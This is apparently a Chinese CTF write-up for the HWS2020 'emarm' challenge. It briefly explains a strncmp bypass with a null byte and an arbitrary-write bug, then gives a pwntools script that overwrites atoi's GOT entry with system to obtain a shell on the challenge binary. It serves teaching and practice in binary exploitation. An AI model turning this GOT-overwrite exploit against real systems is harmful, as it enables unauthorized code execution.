zoukankan      html  css  js  c++  java
  • HWS2020 学习

    emarm

    可以看出GOT表可写

    P键将红色的.text转换为可以识别的代码之后在F5

    输入的8字节的数字与随机生成的相等,可以'x00'绕过strncmp

    执行if语句,向v3处(指定地址)写入8字节,实现任意地址写,之后再向v7中写入4个以内的字节

    from pwn import *
    import sys
    
    context.log_level = 'debug'
    
    binary_name='emarm'
    libc_name='libc.so.6'
    io =  process(["qemu-aarch64", "-L", ".", "./emarm"])
    
    
    #p = process(["qemu-aarch64", "-g ","23333","-L", ".", "./emarm"])
    libc=ELF("./"+libc_name)
    e=ELF("./"+binary_name)
    
    
    
    rv = io.recv
    ru = io.recvuntil
    sd = io.send
    sa = io.sendafter
    sl = io.sendline
    sla = io.sendlineafter
    ia = io.interactive
    
    libcbase = 0x400084b000
    atoi_got = e.got['atoi']
    system = libcbase + libc.sym['system']
    print(hex(system))
    
    ru('passwd:')
    sl('x00')
    sd(str(atoi_got))
    ru('you will success')
    sd(p64(system))
    sla('you bye','shx00')
    ia()
    	
    
    
    zer0_1s
  • 相关阅读:
    4.9Java学习
    我晕了
    注意的
    语句
    第三天JAVA
    JAVA的学习
    JAVA的继承
    JAVA构造方法
    怎么去理解JAVA中类与对象的关系
    Java中三种比较常见的数组排序
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/15168464.html
Copyright © 2011-2022 走看看